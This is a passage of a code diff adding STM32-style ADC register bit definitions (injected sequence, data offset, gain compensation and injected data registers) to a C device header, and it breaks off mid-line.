+#define ADC_JSQR_JSQ2_Msk (0x1FUL << ADC_JSQR_JSQ2_Pos) /*!< 0x000F8000 */ +#define ADC_JSQR_JSQ2 ADC_JSQR_JSQ2_Msk /*!< ADC 2nd conversion in injected sequence */ +#define ADC_JSQR_JSQ2_0 (0x01UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00008000 */ +#define ADC_JSQR_JSQ2_1 (0x02UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00010000 */ +#define ADC_JSQR_JSQ2_2 (0x04UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00020000 */ +#define ADC_JSQR_JSQ2_3 (0x08UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00040000 */ +#define ADC_JSQR_JSQ2_4 (0x10UL << ADC_JSQR_JSQ2_Pos) /*!< 0x00080000 */ + +#define ADC_JSQR_JSQ3_Pos (21UL) +#define ADC_JSQR_JSQ3_Msk (0x1FUL << ADC_JSQR_JSQ3_Pos) /*!< 0x03E00000 */ +#define ADC_JSQR_JSQ3 ADC_JSQR_JSQ3_Msk /*!< ADC 3rd conversion in injected sequence */ +#define ADC_JSQR_JSQ3_0 (0x01UL << ADC_JSQR_JSQ3_Pos) /*!< 0x00200000 */ +#define ADC_JSQR_JSQ3_1 (0x02UL << ADC_JSQR_JSQ3_Pos) /*!< 0x00400000 */ +#define ADC_JSQR_JSQ3_2 (0x04UL << ADC_JSQR_JSQ3_Pos) /*!< 0x00800000 */ +#define ADC_JSQR_JSQ3_3 (0x08UL << ADC_JSQR_JSQ3_Pos) /*!< 0x01000000 */ +#define ADC_JSQR_JSQ3_4 (0x10UL << ADC_JSQR_JSQ3_Pos) /*!< 0x02000000 */ + +#define ADC_JSQR_JSQ4_Pos (27UL) +#define ADC_JSQR_JSQ4_Msk (0x1FUL << ADC_JSQR_JSQ4_Pos) /*!< 0xF8000000 */ +#define ADC_JSQR_JSQ4 ADC_JSQR_JSQ4_Msk /*!< ADC 4th conversion in injected sequence */ +#define ADC_JSQR_JSQ4_0 (0x01UL << ADC_JSQR_JSQ4_Pos) /*!< 0x08000000 */ +#define ADC_JSQR_JSQ4_1 (0x02UL << ADC_JSQR_JSQ4_Pos) /*!< 0x10000000 */ +#define ADC_JSQR_JSQ4_2 (0x04UL << ADC_JSQR_JSQ4_Pos) /*!< 0x20000000 */ +#define ADC_JSQR_JSQ4_3 (0x08UL << ADC_JSQR_JSQ4_Pos) /*!< 0x40000000 */ +#define ADC_JSQR_JSQ4_4 (0x10UL << ADC_JSQR_JSQ4_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_OFR1 register ********************/ +#define ADC_OFR1_OFFSET1_Pos (0UL) +#define ADC_OFR1_OFFSET1_Msk (0x00FFFFFFUL << ADC_OFR1_OFFSET1_Pos)/*!< 0x00FFFFFF */ +#define ADC_OFR1_OFFSET1 ADC_OFR1_OFFSET1_Msk /*!< ADC data offset 1 for channel programmed into bits OFFSET1_CH[4:0] */ +#define ADC_OFR1_OFFSET1_0 (0x0000001UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000001 */ +#define ADC_OFR1_OFFSET1_1 (0x0000002UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000002 */ +#define ADC_OFR1_OFFSET1_2 (0x0000004UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000004 */ +#define ADC_OFR1_OFFSET1_3 (0x0000008UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000008 */ +#define ADC_OFR1_OFFSET1_4 (0x0000010UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000010 */ +#define ADC_OFR1_OFFSET1_5 (0x0000020UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000020 */ +#define ADC_OFR1_OFFSET1_6 (0x0000040UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000040 */ +#define ADC_OFR1_OFFSET1_7 (0x0000080UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000080 */ +#define ADC_OFR1_OFFSET1_8 (0x0000100UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000100 */ +#define ADC_OFR1_OFFSET1_9 (0x0000200UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000200 */ +#define ADC_OFR1_OFFSET1_10 (0x0000400UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000400 */ +#define ADC_OFR1_OFFSET1_11 (0x0000800UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00000800 */ +#define ADC_OFR1_OFFSET1_12 (0x0001000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00001000 */ +#define ADC_OFR1_OFFSET1_13 (0x0002000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00002000 */ +#define ADC_OFR1_OFFSET1_14 (0x0004000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00004000 */ +#define ADC_OFR1_OFFSET1_15 (0x0008000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00008000 */ +#define ADC_OFR1_OFFSET1_16 (0x0010000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00010000 */ +#define ADC_OFR1_OFFSET1_17 (0x0020000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00020000 */ +#define ADC_OFR1_OFFSET1_18 (0x0040000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00040000 */ +#define ADC_OFR1_OFFSET1_19 (0x0080000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00080000 */ +#define ADC_OFR1_OFFSET1_20 (0x0100000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00100000 */ +#define ADC_OFR1_OFFSET1_21 (0x0200000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00200000 */ +#define ADC_OFR1_OFFSET1_22 (0x0400000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00400000 */ +#define ADC_OFR1_OFFSET1_23 (0x0800000UL << ADC_OFR1_OFFSET1_Pos) /*!< 0x00800000 */ + +#define ADC_OFR1_OFFSETPOS_Pos (24UL) +#define ADC_OFR1_OFFSETPOS_Msk (0x1UL << ADC_OFR1_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR1_OFFSETPOS ADC_OFR1_OFFSETPOS_Msk /*!< ADC offset number 1 positive */ +#define ADC_OFR1_USAT_Pos (25UL) +#define ADC_OFR1_USAT_Msk (0x1UL << ADC_OFR1_USAT_Pos) /*!< 0x02000000 */ +#define ADC_OFR1_USAT ADC_OFR1_USAT_Msk /*!< ADC offset number 1 saturation enable */ + +#define ADC_OFR1_SSAT_Pos (26UL) +#define ADC_OFR1_SSAT_Msk (0x1UL << ADC_OFR1_SSAT_Pos) /*!< 0x80000000 */ +#define ADC_OFR1_SSAT ADC_OFR1_SSAT_Msk /*!< ADC Signed saturation Enable */ + +#define ADC_OFR1_OFFSET1_CH_Pos (27UL) +#define ADC_OFR1_OFFSET1_CH_Msk (0x1FUL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR1_OFFSET1_CH ADC_OFR1_OFFSET1_CH_Msk /*!< ADC Channel selection for the data offset 1 */ +#define ADC_OFR1_OFFSET1_CH_0 (0x01UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR1_OFFSET1_CH_1 (0x02UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR1_OFFSET1_CH_2 (0x04UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR1_OFFSET1_CH_3 (0x08UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR1_OFFSET1_CH_4 (0x10UL << ADC_OFR1_OFFSET1_CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_OFR2 register ********************/ +#define ADC_OFR2_OFFSET2_Pos (0UL) +#define ADC_OFR2_OFFSET2_Msk (0x00FFFFFFUL << ADC_OFR2_OFFSET2_Pos)/*!< 0x00FFFFFF */ +#define ADC_OFR2_OFFSET2 ADC_OFR2_OFFSET2_Msk /*!< ADC data offset 2 for channel programmed into bits OFFSET2_CH[4:0] */ +#define ADC_OFR2_OFFSET2_0 (0x0000001UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000001 */ +#define ADC_OFR2_OFFSET2_1 (0x0000002UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000002 */ +#define ADC_OFR2_OFFSET2_2 (0x0000004UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000004 */ +#define ADC_OFR2_OFFSET2_3 (0x0000008UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000008 */ +#define ADC_OFR2_OFFSET2_4 (0x0000010UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000010 */ +#define ADC_OFR2_OFFSET2_5 (0x0000020UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000020 */ +#define ADC_OFR2_OFFSET2_6 (0x0000040UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000040 */ +#define ADC_OFR2_OFFSET2_7 (0x0000080UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000080 */ +#define ADC_OFR2_OFFSET2_8 (0x0000100UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000100 */ +#define ADC_OFR2_OFFSET2_9 (0x0000200UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000200 */ +#define ADC_OFR2_OFFSET2_10 (0x0000400UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000400 */ +#define ADC_OFR2_OFFSET2_11 (0x0000800UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00000800 */ +#define ADC_OFR2_OFFSET2_12 (0x0001000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00001000 */ +#define ADC_OFR2_OFFSET2_13 (0x0002000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00002000 */ +#define ADC_OFR2_OFFSET2_14 (0x0004000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00004000 */ +#define ADC_OFR2_OFFSET2_15 (0x0008000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00008000 */ +#define ADC_OFR2_OFFSET2_16 (0x0010000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00010000 */ +#define ADC_OFR2_OFFSET2_17 (0x0020000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00020000 */ +#define ADC_OFR2_OFFSET2_18 (0x0040000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00040000 */ +#define ADC_OFR2_OFFSET2_19 (0x0080000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00080000 */ +#define ADC_OFR2_OFFSET2_20 (0x0100000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00100000 */ +#define ADC_OFR2_OFFSET2_21 (0x0200000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00200000 */ +#define ADC_OFR2_OFFSET2_22 (0x0400000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00400000 */ +#define ADC_OFR2_OFFSET2_23 (0x0800000UL << ADC_OFR2_OFFSET2_Pos) /*!< 0x00800000 */ + +#define ADC_OFR2_OFFSETPOS_Pos (24UL) +#define ADC_OFR2_OFFSETPOS_Msk (0x1UL << ADC_OFR2_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR2_OFFSETPOS ADC_OFR2_OFFSETPOS_Msk /*!< ADC offset number 1 positive */ +#define ADC_OFR2_USAT_Pos (25UL) +#define ADC_OFR2_USAT_Msk (0x1UL << ADC_OFR2_USAT_Pos) /*!< 0x02000000 */ +#define ADC_OFR2_USAT ADC_OFR2_USAT_Msk /*!< ADC offset number 1 saturation enable */ + +#define ADC_OFR2_SSAT_Pos (26UL) +#define ADC_OFR2_SSAT_Msk (0x1UL << ADC_OFR2_SSAT_Pos) /*!< 0x80000000 */ +#define ADC_OFR2_SSAT ADC_OFR2_SSAT_Msk /*!< ADC Signed saturation Enable */ + +#define ADC_OFR2_OFFSET2_CH_Pos (27UL) +#define ADC_OFR2_OFFSET2_CH_Msk (0x1FUL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR2_OFFSET2_CH ADC_OFR2_OFFSET2_CH_Msk /*!< ADC Channel selection for the data offset 2 */ +#define ADC_OFR2_OFFSET2_CH_0 (0x01UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR2_OFFSET2_CH_1 (0x02UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR2_OFFSET2_CH_2 (0x04UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR2_OFFSET2_CH_3 (0x08UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR2_OFFSET2_CH_4 (0x10UL << ADC_OFR2_OFFSET2_CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_OFR3 register ********************/ +#define ADC_OFR3_OFFSET3_Pos (0UL) +#define ADC_OFR3_OFFSET3_Msk (0x00FFFFFFUL << ADC_OFR3_OFFSET3_Pos)/*!< 0x00FFFFFF */ +#define ADC_OFR3_OFFSET3 ADC_OFR3_OFFSET3_Msk /*!< ADC data offset 3 for channel programmed into bits OFFSET3_CH[4:0] */ +#define ADC_OFR3_OFFSET3_0 (0x0000001UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000001 */ +#define ADC_OFR3_OFFSET3_1 (0x0000002UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000002 */ +#define ADC_OFR3_OFFSET3_2 (0x0000004UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000004 */ +#define ADC_OFR3_OFFSET3_3 (0x0000008UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000008 */ +#define ADC_OFR3_OFFSET3_4 (0x0000010UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000010 */ +#define ADC_OFR3_OFFSET3_5 (0x0000020UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000020 */ +#define ADC_OFR3_OFFSET3_6 (0x0000040UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000040 */ +#define ADC_OFR3_OFFSET3_7 (0x0000080UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000080 */ +#define ADC_OFR3_OFFSET3_8 (0x0000100UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000100 */ +#define ADC_OFR3_OFFSET3_9 (0x0000200UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000200 */ +#define ADC_OFR3_OFFSET3_10 (0x0000400UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000400 */ +#define ADC_OFR3_OFFSET3_11 (0x0000800UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00000800 */ +#define ADC_OFR3_OFFSET3_12 (0x0001000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00001000 */ +#define ADC_OFR3_OFFSET3_13 (0x0002000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00002000 */ +#define ADC_OFR3_OFFSET3_14 (0x0004000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00004000 */ +#define ADC_OFR3_OFFSET3_15 (0x0008000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00008000 */ +#define ADC_OFR3_OFFSET3_16 (0x0010000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00010000 */ +#define ADC_OFR3_OFFSET3_17 (0x0020000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00020000 */ +#define ADC_OFR3_OFFSET3_18 (0x0040000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00040000 */ +#define ADC_OFR3_OFFSET3_19 (0x0080000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00080000 */ +#define ADC_OFR3_OFFSET3_20 (0x0100000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00100000 */ +#define ADC_OFR3_OFFSET3_21 (0x0200000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00200000 */ +#define ADC_OFR3_OFFSET3_22 (0x0400000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00400000 */ +#define ADC_OFR3_OFFSET3_23 (0x0800000UL << ADC_OFR3_OFFSET3_Pos) /*!< 0x00800000 */ + +#define ADC_OFR3_OFFSETPOS_Pos (24UL) +#define ADC_OFR3_OFFSETPOS_Msk (0x1UL << ADC_OFR3_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR3_OFFSETPOS ADC_OFR3_OFFSETPOS_Msk /*!< ADC offset number 1 positive */ +#define ADC_OFR3_USAT_Pos (25UL) +#define ADC_OFR3_USAT_Msk (0x1UL << ADC_OFR3_USAT_Pos) /*!< 0x02000000 */ +#define ADC_OFR3_USAT ADC_OFR3_USAT_Msk /*!< ADC offset number 1 saturation enable */ + +#define ADC_OFR3_SSAT_Pos (26UL) +#define ADC_OFR3_SSAT_Msk (0x1UL << ADC_OFR3_SSAT_Pos) /*!< 0x80000000 */ +#define ADC_OFR3_SSAT ADC_OFR3_SSAT_Msk /*!< ADC Signed saturation Enable */ + +#define ADC_OFR3_OFFSET3_CH_Pos (27UL) +#define ADC_OFR3_OFFSET3_CH_Msk (0x1FUL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR3_OFFSET3_CH ADC_OFR3_OFFSET3_CH_Msk /*!< ADC Channel selection for the data offset 3 */ +#define ADC_OFR3_OFFSET3_CH_0 (0x01UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR3_OFFSET3_CH_1 (0x02UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR3_OFFSET3_CH_2 (0x04UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR3_OFFSET3_CH_3 (0x08UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR3_OFFSET3_CH_4 (0x10UL << ADC_OFR3_OFFSET3_CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_OFR4 register ********************/ +#define ADC_OFR4_OFFSET4_Pos (0UL) +#define ADC_OFR4_OFFSET4_Msk (0x00FFFFFFUL << ADC_OFR4_OFFSET4_Pos)/*!< 0x00FFFFFF */ +#define ADC_OFR4_OFFSET4 ADC_OFR4_OFFSET4_Msk /*!< ADC data offset 4 for channel programmed into bits OFFSET4_CH[4:0] */ +#define ADC_OFR4_OFFSET4_0 (0x0000001UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000001 */ +#define ADC_OFR4_OFFSET4_1 (0x0000002UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000002 */ +#define ADC_OFR4_OFFSET4_2 (0x0000004UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000004 */ +#define ADC_OFR4_OFFSET4_3 (0x0000008UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000008 */ +#define ADC_OFR4_OFFSET4_4 (0x0000010UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000010 */ +#define ADC_OFR4_OFFSET4_5 (0x0000020UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000020 */ +#define ADC_OFR4_OFFSET4_6 (0x0000040UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000040 */ +#define ADC_OFR4_OFFSET4_7 (0x0000080UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000080 */ +#define ADC_OFR4_OFFSET4_8 (0x0000100UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000100 */ +#define ADC_OFR4_OFFSET4_9 (0x0000200UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000200 */ +#define ADC_OFR4_OFFSET4_10 (0x0000400UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000400 */ +#define ADC_OFR4_OFFSET4_11 (0x0000800UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00000800 */ +#define ADC_OFR4_OFFSET4_12 (0x0001000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00001000 */ +#define ADC_OFR4_OFFSET4_13 (0x0002000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00002000 */ +#define ADC_OFR4_OFFSET4_14 (0x0004000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00004000 */ +#define ADC_OFR4_OFFSET4_15 (0x0008000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00008000 */ +#define ADC_OFR4_OFFSET4_16 (0x0010000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00010000 */ +#define ADC_OFR4_OFFSET4_17 (0x0020000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00020000 */ +#define ADC_OFR4_OFFSET4_18 (0x0040000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00040000 */ +#define ADC_OFR4_OFFSET4_19 (0x0080000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00080000 */ +#define ADC_OFR4_OFFSET4_20 (0x0100000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00100000 */ +#define ADC_OFR4_OFFSET4_21 (0x0200000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00200000 */ +#define ADC_OFR4_OFFSET4_22 (0x0400000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00400000 */ +#define ADC_OFR4_OFFSET4_23 (0x0800000UL << ADC_OFR4_OFFSET4_Pos) /*!< 0x00800000 */ + +#define ADC_OFR4_OFFSETPOS_Pos (24UL) +#define ADC_OFR4_OFFSETPOS_Msk (0x1UL << ADC_OFR4_OFFSETPOS_Pos) /*!< 0x01000000 */ +#define ADC_OFR4_OFFSETPOS ADC_OFR4_OFFSETPOS_Msk /*!< ADC offset number 1 positive */ +#define ADC_OFR4_USAT_Pos (25UL) +#define ADC_OFR4_USAT_Msk (0x1UL << ADC_OFR4_USAT_Pos) /*!< 0x02000000 */ +#define ADC_OFR4_USAT ADC_OFR4_USAT_Msk /*!< ADC offset number 1 saturation enable */ + +#define ADC_OFR4_SSAT_Pos (26UL) +#define ADC_OFR4_SSAT_Msk (0x1UL << ADC_OFR4_SSAT_Pos) /*!< 0x80000000 */ +#define ADC_OFR4_SSAT ADC_OFR4_SSAT_Msk /*!< ADC Signed saturation Enable */ + +#define ADC_OFR4_OFFSET4_CH_Pos (27UL) +#define ADC_OFR4_OFFSET4_CH_Msk (0x1FUL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x7C000000 */ +#define ADC_OFR4_OFFSET4_CH ADC_OFR4_OFFSET4_CH_Msk /*!< ADC Channel selection for the data offset 4 */ +#define ADC_OFR4_OFFSET4_CH_0 (0x01UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x04000000 */ +#define ADC_OFR4_OFFSET4_CH_1 (0x02UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x08000000 */ +#define ADC_OFR4_OFFSET4_CH_2 (0x04UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x10000000 */ +#define ADC_OFR4_OFFSET4_CH_3 (0x08UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x20000000 */ +#define ADC_OFR4_OFFSET4_CH_4 (0x10UL << ADC_OFR4_OFFSET4_CH_Pos) /*!< 0x40000000 */ + +/******************** Bit definition for ADC_GCOMP register ********************/ +#define ADC_GCOMP_GCOMPCOEFF_Pos (0UL) +#define ADC_GCOMP_GCOMPCOEFF_Msk (0x3FFFUL << ADC_GCOMP_GCOMPCOEFF_Pos)/*!< 0x00003FFF */ +#define ADC_GCOMP_GCOMPCOEFF ADC_GCOMP_GCOMPCOEFF_Msk /*!< ADC Injected DATA */ +#define ADC_GCOMP_GCOMP_Pos (31UL) +#define ADC_GCOMP_GCOMP_Msk (0x1UL << ADC_GCOMP_GCOMP_Pos) /*!< 0x00003FFF */ +#define ADC_GCOMP_GCOMP ADC_GCOMP_GCOMP_Msk /*!< ADC Injected DATA */ + +/******************** Bit definition for ADC_JDR1 register ********************/ +#define ADC_JDR1_JDATA_Pos (0UL) +#define ADC_JDR1_JDATA_Msk (0xFFFFFFFFUL << ADC_JDR1_JDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_JDR1_JDATA ADC_JDR1_JDATA_Msk /*!< ADC Injected DATA */ +#define ADC_JDR1_JDATA_0 (0x00000001UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000001 */ +#define ADC_JDR1_JDATA_1 (0x00000002UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000002 */ +#define ADC_JDR1_JDATA_2 (0x00000004UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000004 */ +#define ADC_JDR1_JDATA_3 (0x00000008UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000008 */ +#define ADC_JDR1_JDATA_4 (0x00000010UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000010 */ +#define ADC_JDR1_JDATA_5 (0x00000020UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000020 */ +#define ADC_JDR1_JDATA_6 (0x00000040UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000040 */ +#define ADC_JDR1_JDATA_7 (0x00000080UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000080 */ +#define ADC_JDR1_JDATA_8 (0x00000100UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000100 */ +#define ADC_JDR1_JDATA_9 (0x00000200UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000200 */ +#define ADC_JDR1_JDATA_10 (0x00000400UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000400 */ +#define ADC_JDR1_JDATA_11 (0x00000800UL << ADC_JDR1_JDATA_Pos) /*!< 0x00000800 */ +#define ADC_JDR1_JDATA_12 (0x00001000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00001000 */ +#define ADC_JDR1_JDATA_13 (0x00002000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00002000 */ +#define ADC_JDR1_JDATA_14 (0x00004000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00004000 */ +#define ADC_JDR1_JDATA_15 (0x00008000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00008000 */ +#define ADC_JDR1_JDATA_16 (0x00010000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00010000 */ +#define ADC_JDR1_JDATA_17 (0x00020000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00020000 */ +#define ADC_JDR1_JDATA_18 (0x00040000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00040000 */ +#define ADC_JDR1_JDATA_19 (0x00080000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00080000 */ +#define ADC_JDR1_JDATA_20 (0x00100000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00100000 */ +#define ADC_JDR1_JDATA_21 (0x00200000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00200000 */ +#define ADC_JDR1_JDATA_22 (0x00400000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00400000 */ +#define ADC_JDR1_JDATA_23 (0x00800000UL << ADC_JDR1_JDATA_Pos) /*!< 0x00800000 */ +#define ADC_JDR1_JDATA_24 (0x01000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x01000000 */ +#define ADC_JDR1_JDATA_25 (0x02000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x02000000 */ +#define ADC_JDR1_JDATA_26 (0x04000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x04000000 */ +#define ADC_JDR1_JDATA_27 (0x08000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x08000000 */ +#define ADC_JDR1_JDATA_28 (0x10000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x10000000 */ +#define ADC_JDR1_JDATA_29 (0x20000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x20000000 */ +#define ADC_JDR1_JDATA_30 (0x40000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x40000000 */ +#define ADC_JDR1_JDATA_31 (0x80000000UL << ADC_JDR1_JDATA_Pos) /*!< 0x80000000 */ + +/******************** Bit definition for ADC_JDR2 register ********************/ +#define ADC_JDR2_JDATA_Pos (0UL) +#define ADC_JDR2_JDATA_Msk (0xFFFFFFFFUL << ADC_JDR2_JDATA_Pos) /*!< 0xFFFFFFFF */ +#define ADC_JDR2_JDATA ADC_JDR2_JDATA_Msk /*!< ADC Injected DATA */ +#define ADC_JDR2_JDATA_0 (0x00000001UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000001 */ +#define ADC_JDR2_JDATA_1 (0x00000002UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000002 */ +#define ADC_JDR2_JDATA_2 (0x00000004UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000004 */ +#define ADC_JDR2_JDATA_3 (0x00000008UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000008 */ +#define ADC_JDR2_JDATA_4 (0x00000010UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000010 */ +#define ADC_JDR2_JDATA_5 (0x00000020UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000020 */ +#define ADC_JDR2_JDATA_6 (0x00000040UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000040 */ +#define ADC_JDR2_JDATA_7 (0x00000080UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000080 */ +#define ADC_JDR2_JDATA_8 (0x00000100UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000100 */ +#define ADC_JDR2_JDATA_9 (0x00000200UL << ADC_JDR2_JDATA_Pos) /*!< 0x00000200 */ +#define 